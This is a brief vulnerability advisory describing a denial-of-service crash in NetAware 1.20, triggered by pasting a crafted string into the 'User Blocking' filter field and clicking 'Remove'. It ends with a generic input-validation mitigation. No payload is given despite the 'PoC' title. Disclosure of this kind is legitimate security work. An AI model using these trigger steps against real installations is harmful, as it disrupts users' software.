NetAware 1.20 – ‘Add Block’ Denial of Service (PoC)

NetAware 1.20 is vulnerable to a denial of service attack when a maliciously crafted string is pasted into the 'Add a website or keyword to be filtered...' field in the 'User Blocking' section of the 'Settings' menu. When the 'Remove' button is clicked, the application crashes.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in the application.
